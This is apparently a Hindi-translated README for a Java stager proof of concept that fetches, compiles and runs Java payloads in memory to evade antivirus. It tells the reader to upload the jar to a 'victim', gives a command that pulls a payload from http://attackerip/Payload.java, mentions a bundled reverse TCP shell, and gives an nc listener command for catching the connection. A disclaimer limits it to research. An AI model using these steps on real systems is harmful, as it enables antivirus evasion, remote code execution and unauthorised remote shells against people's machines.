
एक PoC Java Stager जो मेमोरी में एक Java फ़ाइल को डाउनलोड, कंपाइल और निष्पादित कर सकता है।
एक PoC Java Stager जो एक Java फ़ाइल को मेमोरी में डाउनलोड, कंपाइल और निष्पादित कर सकता है।
यह केवल शोध उद्देश्यों के लिए है, इसे वहाँ उपयोग न करें जहाँ आपको ऐसा करने का अधिकार नहीं है।
यह James Williams के उनके वार्ता "Next Gen AV vs My Shitty Code" के काम पर आधारित है, जो यहाँ उपलब्ध है:
https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be
मेरे लिए वार्ता के मुख्य भाग हैं:
उनका उदाहरण .net में है, लेकिन वार्ता में उन्होंने सुझाव दिया कि Java भी उन्हीं तकनीकों में सक्षम होगा। मैंने एक कच्चा PoC लागू किया है जो मुझे लगता है कि उपरोक्त तकनीकों से मेल खाता है।
NetBeans में आउटपुट में इस तरह की एक पंक्ति शामिल थी:
Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
पीड़ित पर काम करने के लिए आपको "JavaStager*.jar" फ़ाइल और "target" फ़ोल्डर से Janino युक्त "lib" फ़ोल्डर अपलोड करना होगा।
निम्नलिखित कमांड Stager को निष्पादित करेगा:
java -jar JavaStager-0.1-initial.jar
आपको नीचे दिखाए अनुसार उपयोग का संकेत दिया जाएगा:
Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>
"url" एकमात्र पैरामीटर है जो Stager को पास किया जाता है। एक उदाहरण उपयोग होगा:
java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
आपका पेलोड "Payload.java" नामक फ़ाइल में होना चाहिए और आपका एक्सप्लॉइट कोड "Run" नामक स्थैतिक विधि में होना चाहिए। यदि आप अपना खुद का लिखना चाहते हैं तो निम्नलिखित टेम्पलेट दिखाता है:
public class Payload {
public static void Run() {
// Your code here
}
}
मैंने "TCPReverseShell.java" फ़ाइल में एक उदाहरण रिवर्स TCP पेलोड प्रदान किया है। नाम टकराव को रोकने के लिए इसे "Payload.java" नहीं कहा जाता है और वर्ग नाम गलत है। "TCPReverseShell.java" में हेडर टिप्पणी बताती है कि इसे काम करने के लिए कैसे संशोधित किया जाए।
आपको अपनी "Payload.java" फ़ाइल को एक HTTP सर्वर पर होस्ट करना होगा। आप चाहें तो Apache या Python2 और Python3 में सरल HTTP/HTTPS सेवाओं का उपयोग कर सकते हैं, जैसा कि मेरे ब्लॉग में है:
https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/
हमलावर को मानक nc -lvp 8044 तकनीक का उपयोग करके कनेक्शन वापस पकड़ने के लिए नेटकैट लिसनर शुरू करना होगा।
यह सब कैसे काम करता है, यह समझाने वाला ब्लॉग पोस्ट:
https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/
व्यवहार में यह कैसे काम करता है, यह दिखाने वाला वीडियो: